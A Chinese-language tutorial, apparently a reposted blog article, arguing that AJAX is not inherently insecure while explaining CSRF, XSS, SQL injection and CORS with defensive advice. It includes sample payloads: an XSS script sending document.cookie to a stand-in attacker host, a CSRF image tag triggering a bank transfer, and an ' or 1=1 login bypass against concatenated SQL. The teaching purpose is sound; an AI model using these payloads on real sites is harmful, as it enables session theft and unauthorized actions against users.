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Web與AJAX的安全性效能

php中世界最好的语言原創: 2018-03-30 15:36:491842瀏覽

這次帶給大家Web與AJAX的安全性能，Web與AJAX安全性能的注意事項有哪些，以下就是實戰案例，一起來看一下。

開篇三問

#AJAX請求真的不安全感？
AJAX請求哪裡不安全？
怎麼樣讓AJAX請求更安全？

前言

#日前網路中流行圍繞AJAX和安全風險的討伐聲浪讓人不絕於耳。以下就來詳細談談Web安全與AJAX的關係。

本文包含的內容較多，包括AJAX，CORS，XSS，CSRF等內容，要完整的看完並理解需要付出一定的時間。

另外，見解有限，如有描述不當之處，請幫忙及時指出。

正文開始...

從入坑前端開始，一直到現在，AJAX請求都是以極高的頻率重複出現，也解決過不少AJAX中遇到的問題，如跨域調試，錯誤調試等等。

從這種，發現了一個共通現象：那就是每次和後台人員對接時，他們都會提到AJAX請求不安全，請用普通http請求！

雖然很多時候，都是經過多翻口舌之爭後，最終後台那邊妥協，允許部分符合條件的AJAX請求。但是，我卻很糾結一個問題：AJAX請求真的不安全？為什麼我自己寫後台時並沒有發現這個問題？

於是，開始準備蒐集資料，結合自己已有的認知，整理成一份解決方案，分析AJAX請求真的不安全麼？哪裡不安全？，後續遇到類似的問題就直接向對方拋出一篇文章

大綱

AJAX請求真的不安全麼

AJAX不安全的說法從何而來

#常見的幾種Web前端安全性問題

#CSRF簡介
CSRF與AJAX的關係式
#XSS簡介
##XSS與AJAX的關係
SQL注入簡介
SQL注入與AJAX的關係式

AJAX與HTTP請求的區別

CORS與AJAX安全性之間的關聯

#CORS與AJAX關係的簡介
為什麼要配置CORS？
CORS會配置些什麼資訊？
CORS Origin: *的安全性

再看，AJAX請求真的不安全麼？

AJAX請求哪裡不安全？

怎麼樣讓AJAX請求更安全？

AJAX請求真的不安全麼

#首先，先說一個結論：AJAX請求是否安全，由服務端（後台）決定

有這樣一個說法：如果某個Web應用程式具備良好的安全性，那麼再怎麼用「不安全的AJAX」也削弱不了它的安全性，反之如果應用程式本身存在漏洞，不管用何種技術請求，它都是不安全的

為何會有這種說法？因為在Web應用中，客戶端輸入不可信是一個

基本原則

AJAX不安全的說法從何而來？

在AJAX出現時，那時的服務端還是很古老的那一批，因此完全沒有考慮到AJAX出現後，前端請求方式會變得異常複雜，造成以前的安全策略已經無法滿足要求了，導致大批後台安全漏洞的曝光。。。

很顯然，都是因為AJAX出現後曝光了更多的安全漏洞，導致它看起來很危險（因為AJAX出現後，請求方式變多了，以前的架構在新的請求中就可能出現更多漏洞）

So，AJAX不安全的說法自然擴散到了各個角落。

常見的幾種Web前端安全性問題

要知道AJAX請求是否安全，那麼就得先知道Web前端中到底有那幾個安全性問題

1.XSS（跨站脚本攻击）（cross-site scripting）
 -> 伪造会话（基于XSS实现CSRF）
 
 -> 劫持cookie
 
 -> 恶意代码执行
2.CSRF（跨站请求伪造）（cross-site request forgery）
 -> 伪造用户身份操作
 
3. SQL注入
...（其它暂且不提）

如上，Web前端中的安全問題主要就是這幾大類（僅列舉部分做分析），所以我們首先要分析AJAX與此幾大類之間的關係。（XSS和CSRF，下文也會做簡單介紹。）

CSRF簡介

CSRF，特徵很簡單：冒用使用者身份，進行惡意操作

時至今日，這項安全漏洞已經被人們剖析的很透徹了，隨便Google，百度之，都會找到很多的解釋。這裡也用一張圖來先做簡單描述：

（註，下面介紹參考了來源文章中的描述，譬如圖就是參考了來源中的博文後重繪的）

所以，我們看到關鍵條件是：

1. 採用cookie來進行使用者校驗

2. 登入受信任網站A，並在本地產生Cookie

3. 在不登出A的情況下，造訪危險網站B

一般在(4)處惡意網站(B)的攻擊手段如下（必須是指向A的位址，否則無法帶上cookie，都是透過瀏覽器間接實作（利用Web的cookie隱式驗證機制），所以HttpOnly並不會影響這個攻擊

最後說下，幾種常見的CSRF防御手段：

1. 驗證HTTP Referer字段（非常簡單，但是鑑於客戶端並不可信任，所以並不是很安全）

（防止CSRF，檢查Referer字段簡單直接，但是其完全依賴瀏覽器發送正確的Referer字段。

雖然http協議對此欄位的內容有明確的規定，但並無法保證來訪的瀏覽器的具體實現，亦無法保證瀏覽器沒有安全漏洞影響到此欄位。可能。 CSRF與AJAX的關係

上文中，我們看到CSRF的前提是cookie驗證使用者身份，那麼它與AJAX的關係大麼呢？

我們先分析AJAX中帶cookie驗證的情況：

1. AJAX受到瀏覽器的同源策略限制

2. AJAX預設無法請求跨域的接口

（當然後台可以配置`Access-Control-Allow-Origin: *`之類的允許所有的跨域請求）

3. AJAX請求無法攜帶跨域cookie

#（如果強行開啟withCredentials，必須服務端配合認證，無法用作攻擊）

嗯哼...看到這，基本上就可以認為CSRF與AJAX請求無緣無故了。。。

譬如假設上圖中第4部分的請求由AJAX發起，假設網站A已經允許了Access-Control-Allow-Origin: *，由於網站B與網站A是不同域名，所以存在跨域，根據同源策略，請求時根本無法攜帶cookie，故而無法通過身分認證，攻擊失敗。。。

就算強行開啟withCredentials，攜帶跨域cookie，但由於服務端並不會單獨配置網站B的跨域cookie（需配置Access-Control-Allow-Credentials: true，而且這時候不允許設定Allow-Origin : *），所以肯定認證失敗

可以看到，就算Access-Control-Allow-Origin: *允許所有來源的AJAX請求，跨域的cookie預設仍然是無法攜帶的，無法CSRF

所以說，結論是：CSRF與AJAX無關

XSS簡介

既然CSRF与AJAX关系不大，那么XSS应该会与AJAX有很大关系吧？（要不然为什么一直说AJAX请求不安全，对吧。）。那么请继续看下去（本文中只限JS范畴）

XSS（cross-site scripting），看起来简写应该是css更合适。。。但是为了和层叠式样式表区分，就用XSS简写表示

XSS的特征也可以概括为：跨域脚本注入，攻击者通过某种方式将恶意代码注入到网页上，然后其他用户观看到被注入的页面内容后会受到特定攻击

相比CSRF，XSS囊括的内容更多，而且往往是多种攻击形式组合而成，这里以前文中介绍的几种为例：

1.cookie劫持

同样，页面中有一个评论输入，输入后会，因为后台的漏洞，没有过滤特殊字符，会直接明文保存到数据库中，然后展示到网页时直接展示明文数据，那么如下

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<form action="saveComment.jsp" method="post"> 
 请输入评论内容：<BR> 
 <input name="content" type="text"> 
 <input type="submit" value="确认">
</form>

然后攻击者分析后，输入

<script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)</script>

保存文章。很简单的代码，由于没有过滤脚本，那么其它用户登陆后，在看到这篇文章时就会自动将他们的cookie信息都发送到了攻击者的服务器。

攻击者可以在cookie（譬如jsessionid对应的session）有效期内拿它们冒充用户操作。

需要注意，这里和CSRF的区别是，这里是拿到了cookie后主动冒充用户的，而CSRF中根本就不知cookie，仅利用浏览器的隐式校验方式冒充用户。

2.会话伪造

同样是评论漏洞的示例。

攻击者输入（举例比喻）

<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width=&#39;0&#39; height=&#39;0&#39;>

然后，接下来发生的故事就和CSRF中提到的一致。这种情况就是基于XSS而开展的CSRF，也有人喜欢称之为XSRF

需要注意，这里并没有自己拿到cookie，而是CSRF中提到的利用浏览器的隐式验证机制来冒充用户。

3.其它恶意代码执行

其实上面的cookie劫持以及会话伪造都算是恶意代码执行，为了区别，这里就专指前端的流氓JS。

譬如前面的评论中的输入可以是：

譬如市面上盛行的网页游戏弹窗等。

譬如干脆直接让这个页面卡死都可以。

譬如无限循环。

这里再提一点，上述都是从前端输入作为入口的，但实际上有一类的输入也不可忽视，那就是：富文本攻击

它的特点就是：富文本中注入了脚本，并且前后端未进行过滤，导致直接输出到了页面中

因为存在很多页面，都是将富文本内容展示到网页上的，没有进行过滤（哪怕时至今日，仍然有不少页面），这样只要富文本中有注入脚本，基本就中招了。。。

结论：

只要最终能向页面输出可执行的脚本语句，那么就是有漏洞，XSS攻击都有可能发生。

而且，基本上xss漏洞是很广泛的，虽然攻击类型很被动，也需要大量时间分析，但胜在大量的网站上都存在（特别是那种长期不更新的）

再提一点。上述的介绍更多的是从造成的后果来看，但其实如果从攻击手动来看的话可以分为几大类型：反射型XSS攻击（直接通过URL注入，而且很多浏览器都自带防御），存储型XSS攻击（存储到DB后读取时注入），还有一个DOM-Based型。

上述示例中都是存储型，具体更多内容网上已经有很详细的资料，这里不再继续深入，放一张图巩固下。

如何预防XSS：

输入过滤，不信任用户的任何输入，过滤其中的“<”、“>”、“/”等可能导致脚本注入的特殊字符，

或者过滤“script”、“javascript”等脚本关键字，或者对输入数据的长度进行限制等等，还得考虑攻击者使用十六进制编码来输入脚本的方式。

输出进行编码，和输入过滤类似，不过是从输出上着手，数据输出到页面时，经过HtmlEncoder等工具编码，这样就不会存在直接输出可执行的脚本了
cookie设置http-only，这样用脚本就无法获取cookie了

（这样只有浏览器向Web服务器发起请求的时才会带上cookie字段，避免了XSS攻击利用JavaScript的document.cookie获取cookie）

Cookie防盗，尽可能地避免在Cookie中泄露隐私，如用户名、密码等；

或者，为了防止重放攻击，可以将Cookie和IP进行绑定，这样也可以阻止攻击者冒充正常用户的身份。

注意，特别是后台，一定不能信任前端的输入，需要过滤与校验

XSS与AJAX的关系

以上分析了XSS造成一些影响与问题，仍然发现：与AJAX关系不大，因为这些问题不管用不用AJAX都会发生。

看看这种情况，譬如上述的富文本注入中：

1. 某个接口采用AJAX交互

2. AJAX请求完后将对应富文本字段显示到了页面上-譬如innerHTML

但是，这真的与AJAX无关，这是前后端没有进行输入输出过滤而造成的后果。

所以，还是那句话：如果某个Web应用具备良好的安全性，那么再怎么用“不安全的AJAX”也削弱不了它的安全性，反之如果应用本身存在漏洞，不管用何种技术请求，它都是不安全的

SQL注入简介

sql注入展开将也是一门很大的学问，很早以前更是大行其道（当然，现在...），这里仅仅举几个最极端的示例。

前提是后台没有过滤前端的输入数据，否则根本无法生效

假设页面A中有一个登陆查询存在拙劣的sql注入漏洞，这样子的：（最极端，最傻的情况）

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<form action="login.jsp" method="post"> 
 请输入用户名与密码：<BR> 
 <input name="name" type="text"> 
 <input name="password" type="text"> 
 <input type="submit" value="登陆">
</form>

在接收到登陆请求后，服务端的实际执行代码时是：

String sql = "SELECT * FROM users WHERE name = '" + name + "' AND password = '" + password + "'";

然而有攻击者分析出后台可能存在漏洞，尝试sql注入攻击，输入

name = ' or 1=1
password = anything

那么这样，后台接收到数据后，实际上查询的结果是

SELECT * FROM users WHERE name = ' ' or 1=1 AND password = 'anything'

故而，攻击者成功的绕过的用户名，利用后台漏洞登陆了。

当然了，像这类这么低级的漏洞，现象几乎已经不存在了，往往这类型漏洞需要仔细分析，耗时。（又或者是有内奸。。。）

SQL注入与AJAX的关系

额，从上述的示例中看不出和AJAX有什么关系。但是我们可以这样假设：

1. 有一个接口，接收AJAX post的数据

2. 数据中有一个字段 'name'，后台接收到后没有进行过滤，直接如上面的演示一样，执行sql语句了

3. 所以AJAX中如果给那个字段传入非法的注入信息，就会触发这个漏洞，导致攻击生效
对，就是这样极端的情况下才会发生，而且与AJAX并没有关系，因为换成任何一种其它请求都会有类似的情况。。。

所以说，结论是：SQL注入与AJAX无关

AJAX和HTTP请求的区别

从本质上将：AJAX就是浏览器发出的HTTP请求，只不过是浏览器加上了一个同源策略限制而已。

AJAX请求的XMLHTTPRequest对象就是浏览器开放给JS调用HTTP请求用的。

那么AJAX和HTTP的区别呢？列出以下几点：

AJAX请求受到浏览器的同源策略限制，存在跨域问题
AJAX在进行复杂请求时，浏览器会预先发出OPTIONS预检（HTTP自己是不会预检的）
从使用角度上说，AJAX使用简单一点，少了些底层细节，多了些浏览器特性（如自动带上同域cookie等）
所以说，和认证上的HTTP请求的区别就是-多了一次浏览器的封装而已（浏览器会有自己的预处理，加上特定限制）

但是，从最终发出的报文来看，内容都是一样的（HTTP协议规范的内容），AJAX是发送HTTP请求的一种方式

所以从这一点可以得出一个结论：AJAX本质上安全性和HTTP请求一样

CORS与AJAX安全性之间的关联

按照前文中提到的内容，基本无法得出AJAX与请求不安全的关联。那么接下来，再继续分析，如果使用了跨域资源共享（CORS）后的安全性。

(因为往往ajax都会伴随着CORS)

CORS与AJAX关系的简介

这是一个跨域共享方案，大致流程就是：（仅以复杂请求的预检举例-这一部分要求提前掌握CORS相关知识）

1. 前端AJAX请求前发出一个OPTIONS预检，会带一堆相关头部发送给服务端

2. 服务端在接受到预检时，检查头部，来源等信息是否合法，合法则接下来允许正常的请求，否则直接无情的拒绝掉

3. 浏览器端如果收到服务端拒绝的信息（响应头部检查），就抛出对应错误。

否则就是正常的响应，接下来发出真正的请求（如POST）

请求和响应的头部信息大概如下：

Request Headers

// 在CORS中专门作为Origin信息供后端比对，表示来源域。
Origin: http://xxx
Access-Control-Request-Headers: X-Requested-With
// 所有用setRequestHeader方法设置的头部都将会以逗号隔开的形式包含在这个头中，一般POST请求中就会带上
Access-Control-Request-Method: OPTIONS

Response Headers

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx

最终，客户端发出的请求，必须符合服务端的校验规则才能正确，服务端才会返回正确头部，否则只会请求失败。报跨域错误。

以上仅是简介，更多信息可以参考来源中的ajax跨域，这应该是最全的解决方案了

为什么要配置CORS？

因为同源策略限制，AJAX无法请求跨域资源，CORS可以解决AJAX跨域请求问题。

因此：在本文中，配置CORS只是为了AJAX能跨域请求

CORS会配置些什么信息？

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx

如上，加上这个配置后，必须符合要求的才算是正常的请求，否则就会拒绝掉，一般AJAX跨域的话都会有OPTIONS，所以在预检中就做了这一步。

可以看到，关键的可变信息是：Access-Control-Allow-Origin: http://xxx

这个配置就是域名白名单，规定在什么样的域名下才能进行AJAX跨域请求。

CORS Origin: *的安全性

关键问题来了，在上面的CORS配置是这样的：

Access-Control-Allow-Origin: http://xxx

但是这个配置只允许特定域名访问，鉴于前端的复杂性，有时候调试起来不是很方便，因此有时候，会偷懒的设置为：

Access-Control-Allow-Origin: *

这个代表所有来源的跨域AJAX请求都能正常响应。

接下来我们再来分析设置Origin: *可能带来哪些问题。（都是基于AJAX的情况）

问题1：会对cookie认证造成影响么？

不会。虽然*代表了所有来源都能正常请求，但是同源策略下，是无法带上跨域cookie的。因此根本无法用身份验证。

而且，就算用withCredentials强行带上跨域cookie，因为后台没有支持，所以会报错。（这可以看成是CORSs模型的最后一道防线）

再者，后台就算配置Access-Control-Allow-Credentials允许跨域cookie，但是这时候的安全策略是Origin不允许为*，必须是一个明确的地址。

（否则你就可以看到浏览器的报错信息-跨域cookie时，Origin不允许为*）

问题2：如果伪造Origin头部呢？

首先，标准的浏览器中是不允许你伪造的（除非有严重漏洞），所以一般需要通过模拟客户端请求伪造。

但是。在非浏览器情况下，本来就没有同源策略。这又是何必。。。

所以说，伪造Origin与CORS并没有关系。

问题3：如果后台本来就存在漏洞呢？

做这样一个假设，假设用户所在网络的内网中有一台内网服务器，并且配置了允许所有的跨域请求：（当然，外网是请求不到内网的）

// 允许任何来自任意域的跨域请求
Access-Control-Allow-Origin: *

再假设内网服务器上恰巧存在敏感资源，并且没有额外设防，只要内网就能访问。譬如：

192.168.111.23/users.md

然后用户访问了恶意网页，而像HTML之类的网页都是下载到本地执行的，正好网页内有恶意代码，去向192.168.111.23/users.md请求资源，再将接收到的服务端返回发送到攻击者服务器。

（因为加了Origin为*，而且AJAX是由本地浏览器发出的，所以用户下载到本地的恶意网站是可以访问到用户内网中的后台的）

然后这些敏感数据就这样被盗取了。

But，这是因为服务端漏洞而存在的问题，设置Origin为的后台上为何要放置敏感资源？正常设置为Origin为的最大作用是用作公共API。

而且更重要的是，为何敏感资源就这样轻易的被获取了？为什么没有二次验证？

SO，后台本身有漏洞，所以才导致被攻击，AJAX恰好是攻击的手段之一（除了AJAX外还会有其它的方式），所以很多锅都甩到了AJAX头上。

这样，可以得出一个保守点的结论：

Origin如果不是*，AJAX请求并不会有安全问题，如果是*，可能会由于后台的漏洞，不经意间，AJAX就被作为一种攻击手段了，导致了出现AJAX不安全的说法

再看，AJAX请求真的不安全么？

仍然是最初的结论：

如果某个Web应用具备良好的安全性，那么再怎么用“不安全的AJAX”也削弱不了它的安全性，反之如果应用本身存在漏洞，不管用何种技术请求，它都是不安全的

我们可以看到，XSS也好，CSRF也好，以及其它隐藏的可能漏洞也好，本质上都是后台已有漏洞造成的问题，AJAX最多是被用作一种攻击手段（甚至某些里面AJAX还无法使用）

提到AJAX请求不安全的，譬如有CORS里面配置Origin: *造成某些极端情况下能通过AJAX发出攻击。但事实上这也是其中的一种攻击手段而已，没有AJAX，该不安全的仍然不安全。

譬如还有的说法是：因为在AJAX出现以前，如果出现安全漏洞，容易被察觉，但AJAX是异步的，更容易隐式的出现安全问题。。。这也与安全性的本质无关。

最重要一点，从Web应用安全角度来谈，Web应用必须从不信任客户端。所以不要再把锅甩给AJAX。

AJAX请求哪里不安全？

同上，AJAX本身并不存在这种安全问题。

不过有一点需注意，如果使用了CORS方案。

1. Allow-Origin可以设置特定的值，过滤特定的白名单

2. 对于一些公共的API，可以直接将Allow-Origin设置为`*`

3. 当然，如果确认后台没有这些隐藏漏洞，可以直接使用`*`，毕竟也只是针对浏览器的同源策略而已，影响没有那么大。

怎么样让AJAX请求更安全？

仍然是文中反复提到的结论：

让Web后台更安全，则AJAX请求也更安全，反之后台有漏洞，不管怎么样都是不安全的

写在最后的话

这样的话，应该可以把AJAX不安全的锅甩掉了吧？

附錄

參考資料

#跨站請求偽造
跨站腳本
淺談CSRF攻擊方式
XSS攻擊與防禦
前端安全性XSS攻擊
AJAX真的不安全？
AJAX 如何保證資料的安全性？
Web 開發常見安全性問題
跨網域資源共享(CORS)安全性淺析
ajax跨域，這應該是最全的解決方案了

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